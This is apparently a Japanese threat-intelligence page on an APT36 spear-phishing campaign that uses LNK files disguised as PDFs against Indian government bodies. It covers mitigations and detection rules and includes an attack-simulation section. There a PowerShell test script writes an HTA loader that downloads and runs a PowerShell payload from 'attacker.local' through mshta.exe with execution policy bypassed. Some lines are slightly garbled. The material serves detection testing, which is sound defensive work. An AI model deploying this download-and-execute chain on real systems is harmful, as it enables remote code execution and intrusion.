APT36:インド政府機関を狙ったマルチステージLNKマルウェアキャンペーン
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
APT36(Transparent Tribe)は、PDFに偽装した悪意のあるLNKショートカットを配布するスピアフィッシングキャンペーンを実施しました。このショートカットを開くと、 mshta.exe が起動し、メモリ内で暗号化を解除してペイロードを実行するHTAベースのローダーが実行されます。これには、構成モジュールと多機能なRAT DLLが含まれています。このマルウェアは、被害者のインストールされているウイルス対策ソフトウェアに基づいて継続性の方法を動的に選択し、暗号化されたチャネルを介してコマンド&コントロールサーバーに接続します。インドの政府および学術機関を標的とし、データを盗むことを目的としたスパイ活動として評価されています。
調査
研究者は、異常に大きなLNKファイルを分析し、 innlive.inにホストされている埋め込まれたHTAコンテンツをたどり、復号化ロジックをリバースエンジニアリングしました。このチェーンは、セキュリティチェックを弱めるまたはバイパスするための.NETデシリアライゼーションペイロードの後、RAT機能を提供するファイルレスの悪意のあるDLL(例: ki2mtmkl.dll / iinneldc.dll)の2つの主要なステージを明らかにしました。永続性の動作は特定のウイルス対策製品にマッピングされ、分析中に暗号化されたトラフィックに使用される TCPポート8621 および AESキー などの主要C2詳細が抽出されました。
緩和策
メールで配信されるショートカット(.lnk)の添付ファイルを制限または隔離し、特にZIPアーカイブにパックされている場合は注意が必要です。アプリケーション制御ポリシーを適用して、ユーザーが書き込み可能なパスからの mshta.exe、PowerShell、および他のスクリプトエンジンの実行を制限します。プロセスチェーンに関するエンドポイント検出を使用し、メモリ内DLLの実行の指標を確認し、未知または信頼できないドメインとの通信をブロックするために厳格な出口制御を施行します。 mshta.exe and indicators of in-memory DLL execution, and enforce tight egress controls to block communication with unknown or untrusted domains.
対応
不審なLNK実行が検出された場合、システムを隔離し、メモリイメージをキャプチャし、RATステージに関連するメモリ内DLLの指標を検索します。特定された悪意のあるドメインや関連するIPインフラをブロックし、潜在的に露出した資格情報を更新します。スタートアップフォルダーとレジストリでの永続化アーティファクトを見つけて削除し、追加の侵入がないことを確認します。
攻撃フロー
検出
コマンドラインでの二重拡張子を用いた可能性のある悪意のあるLNKファイル
表示
関連するコマンドの検出による疑わしいLOLBAS MSHTA防御回避の振る舞い(プロセス作成による)
表示
自動起動位置における疑わしいバイナリ/スクリプト(ファイルイベントによる)
表示
全ユーザープロファイルにおける疑わしいファイル(ファイルイベントによる)
表示
全ユーザープロファイルからの疑わしい実行(プロセス作成による)
表示
APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(SourceIP)を検出する
表示
APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(HashSha256)を検出する
表示
APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(DestinationIP)を検出する
表示
PowerShellまたはCMDとともにmshta.exeの実行 [Windows プロセス作成]
表示
APT36 悪意のあるドメインとC2通信検出 [Windows ネットワーク接続]
表示
APT36キャンペーンにおけるハードコードされたAESキーの検出 [Windows Sysmon]
表示
シミュレーション実行
前提条件: トレンドおよびベースラインの事前確認が完了している必要があります。
理論: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳細に説明します。コマンドおよび説明は、特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリを生成することを目指します。
-
攻撃のストーリーとコマンド:
攻撃者は侵害されたワークステーションで低権限のPowerShellアクセスを取得しています。リモートペイロードをディスクに書き込まずに実行するために、攻撃者はmshta.exeを使用してC2サーバーからPowerShellバックドアを引き出すHTAファイルを実行します。手順は次の通りです:- 悪意のあるHTAをエンコードし、これがPowerShellを起動してペイロードをダウンロードおよび実行するようにします。
- HTAをWebサーバーにホストします(例:
http://attacker.local/malicious.hta). - 侵害されたPowerShellセッションから、リモートURLを引数として
mshta.exeを呼び出します。
このチェーンは、 プロセス作成 イベントを作成し、ここで
mshta.exeがの子プロセスとして働き、Sigmaルールに正確に一致します。, precisely matching the Sigma rule. -
回帰テストスクリプト:
#------------------------------------------------- # シミュレーターされた攻撃者のスクリプト – ルールをトリガー #------------------------------------------------- # 1. 悪意のあるHTAを定義(デモ用にインラインで) $htaContent = @" <script> // ダミーのPowerShellペイロードをダウンロードして実行 var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. 一時的な場所にHTAを書き込む(ホストされたファイルをシミュレート) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. PowerShellからmshta.exeを起動(検出トリガー) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] mshta.exeを起動してHTAペイロードを実行..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # オプション: イベントがキャプチャされるように待つ Start-Sleep -Seconds 5 # クリーンアップ(次のセクションで処理) -
クリーンアップコマンド:
# 一時HTAファイルを削除 Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # 残っている可能性のあるmshta.exeプロセスを停止(通常の実行後は発生しない) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] クリーンアップ完了。"